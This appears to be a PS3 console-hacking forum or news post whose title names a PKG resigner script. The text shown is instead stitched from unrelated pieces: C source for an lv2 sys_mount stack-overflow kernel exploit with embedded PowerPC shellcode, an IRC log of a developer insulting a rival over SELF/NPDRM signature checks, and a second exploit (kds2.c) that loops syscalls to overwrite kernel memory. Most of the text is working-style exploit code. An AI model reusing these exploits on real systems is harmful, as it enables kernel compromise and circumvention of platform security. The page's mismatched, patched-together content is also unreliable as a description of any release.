PS3 CFW 4.XX+ .PKG Resigner Script v0.3.5 by Zeroblu3 is Released

/*
* lv2 sys_mount stack overflow
* Original finder: KaKaRoTo (thank you for pointing it out!)
* Note: all offsets/values/addrs in this source are 3.41 specific
*/

#include
#include
#include

/*
unk2, unk3 is what we're going to use here.
lv2 will handle unk2, unk3 like this:
char *strlist[FIXED_SIZE]; //On stack.
for(i = 0; i < unk3; i++)
strlist[i] = strdup_from_uspace(*unk2++);
*/
static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/,
u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
{
lv2syscall8(837, (u64)dev, (u64)fs, (u64)path,
(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
return_to_user_prog(s64);
}

//For testing.
static void patch_access_check()
{
//check_access @ 0x80000000000505D0
//li r3, 1 ; blr
lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
printf("• DEBUG: access check patched.\n");
}

int main(int argc, const char **argv)
{
//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
//Solution: Find a usermode exploit in a SELF that has them set.

//Patch the ctrl flags check for testing.
patch_access_check();

//Nop.
char nop[] = "X";

//Payload.
char payload[] =
{
//Insert valid PPC code here (without 0x00 bytes)
//and hope lv2 heap 0x27 is executable and 0x04 aligned.
0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
0x38, 0xE7, 0x01, 0x10, //addi r7, r7, 0x110
0x78, 0xE7, 0x83, 0xE4, //sldi r7, r7, 16
0x78, 0xE7, 0x07, 0xC6, //sldi r7, r7, 32
0x60, 0xE7, 0x91, 0x34, //ori r7, r7, 0x9134
0x7C, 0xE9, 0x03, 0xA6, //mtctr r7 ; 0x8000000000009134 (sys_sm_shutdown)
0x38, 0x60, 0x02, 0x10, //li r3, 0x210
0x38, 0x63, 0xFF, 0xF0, //addi r3, r3, -0x10 ; 0x200 (reboot)
0x7C, 0x84, 0x22, 0x78, //xor r4, r4, r4 ; 0
0x7C, 0xA5, 0x2A, 0x78, //xor r5, r5, r5 ; 0
0x7C, 0xC6, 0x32, 0x78, //xor r6, r6, r6 ; 0
0x4E, 0x80, 0x04, 0x20, //bctr
//End of payload.
0x00
};

//List containing the entries.
//stack frame size is 0x1C0
//strlist = framptr + 0xE0
//remaining stack frame size is 0xE0 (28 * 8)
#define LIST_LENGTH (28 + 2 + 1)
const char *list[LIST_LENGTH] =
{
//-0xE0
//Overwrite stack with nop entries (0xE0 bytes).
nop, nop, nop, nop, nop, nop, nop, nop, //0x40
nop, nop, nop, nop, nop, nop, nop, nop, //0x80
nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
nop, nop, nop, nop,
//0x00
//Fill 0x10 bytes to reach saved r0.
nop, nop,
//+0x10
//Overwrite saved r0 with a pointer to our payload.
payload
};

//Doit!
printf("• Taking the plunge...\n");
s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
printf("• Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);

return 0;
}

Sep 04 13:16:42 I just posted one last thing
Sep 04 13:17:05 I dislike being called "king of liars" especially by someone who doesn't understand sht about ps3 self crypto
Sep 04 13:17:25 and yeah I said the truth
Sep 04 13:17:31 this footer signature
Sep 04 13:17:33 is not checked
Sep 04 13:17:35 even in 4.21
Sep 04 13:17:37 go figure
Sep 04 13:17:44 at least not upon npdrm self execution
Sep 04 13:17:59 I believe it is checked while the packages install
Sep 04 13:18:03 but that's something else
Sep 04 13:18:31 I don't even think it was called on 3.55 at all, (the function that does the stuff)
Sep 04 13:18:33 that's also wrong info
Sep 04 13:18:35 I gave kakaroto
Sep 04 13:18:40 over a week of work
Sep 04 13:18:48 with everything one would want to know
Sep 04 13:18:52 about self format
Sep 04 13:19:16 but he called it "useless" without revealing what I gave him
Sep 04 13:19:31 and he claimed how all of this was already public when most wasn't
Sep 04 13:19:47 he did all this along with his pamphlet in order to hide his incompetence
Sep 04 13:20:04 as he was "begging" me (literally) to get the extra info he needed to get his hack to work
Sep 04 13:20:09 and I told him to figure the rest himself
Sep 04 13:20:12 and he never could
Sep 04 13:20:19 figures
Sep 04 13:20:34 zecoxao, I gave him something he needed
Sep 04 13:20:42 but he wanted me to supply ALL the work
Sep 04 13:20:48 and I wasn't ok with that
Sep 04 13:20:58 the more I gave him
Sep 04 13:21:00 the more he asked
Sep 04 13:21:32 but yeah
Sep 04 13:22:03 if you can actually resign lv0, and put your own keyset in appldr on 4.21
Sep 04 13:22:16 and set your own keyset to something higher than 0x0D
Sep 04 13:22:35 and build a complying npdrm that has all the new values appldr checks, WITHOUT the so called footer
Sep 04 13:22:37 and run it
Sep 04 13:22:41 it runs just fine...
Sep 04 13:22:51 (yes, I did test this)
Sep 04 13:23:18 they do whitelist anything older than keyset 0x0D now for npdrm too
Sep 04 13:23:32 so crafting npdrms for 4.21 would not work on ofw now
Sep 04 13:23:38 but that stupid footer
Sep 04 13:23:47 which he claims is why whatever I told him was BS
Sep 04 13:23:54 is STILL NOT CHECKED
Sep 04 13:24:22 Kraparoto banned me from all the chans he is op as soon as I exposed him
Sep 04 13:24:27 how mature of him eh ?
Sep 04 13:25:22 so not only he is an incompetent whining kid, but he also totally lacks maturity
Sep 04 13:25:28 so I am done with the stupid drama
Sep 04 13:25:32 or talking to him

//compile: ppu-gcc kds2.c -o kds2.elf
//or: ppu-lv2-gcc kds2.c -o kds2.elf

register unsigned long long payloadHolder2 asm ("r21");
register unsigned long long payloadHolder asm ("r20");
register unsigned long long stackpointer asm ("r1");
register unsigned long long counter asm ("r25");
register unsigned long long bufferStackpointer asm ("r26");

int __volatile__ main(int argc, const char* argv[])
{
// backup Stack pointer
bufferStackpointer = stackpointer;

payloadHolder = 0x3960024F3960024FUL;
payloadHolder2 = 0x4400000244000002UL;

// Incrementer
counter = 0x00;

// Play with that address till the panic is executed, I lack of time todo so
// add always 2 or 4 to it, i would try 4 or 8... bla bla you will get the idea
stackpointer = 0x8000000000000100UL;
doItAgain:
// KDSBest Payload
// Prepare for our Syscall

asm("li %r0, 0x0");
asm("li %r3, 0x6");
asm("li %r4, 0x1");
// li r11, 0x24F -> PANIC
asm("mr %r22, %r20");
asm("mr %r23, %r20");
asm("mr %r24, %r20");
asm("mr %r27, %r20");
asm("mr %r28, %r20");
asm("mr %r29, %r20");
asm("mr %r30, %r20");
asm("mr %r31, %r20");

// Stack Pointer = Build Address of LV2
stackpointer += counter;

// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;

// We write sc
asm("mr %r22, %r21");
asm("mr %r23, %r21");
asm("mr %r24, %r21");
asm("mr %r27, %r21");
asm("mr %r28, %r21");
asm("mr %r29, %r21");
asm("mr %r30, %r21");
asm("mr %r31, %r21");

// Stack Pointer = Build Address of LV2
stackpointer += counter;

// Syscall 0xA9
asm("li %r11, 0xA9");
asm("sc");
counter += 0x04;


if(counter < 0x1000000)
goto doItAgain;

stackpointer = bufferStackpointer;
return 0;
}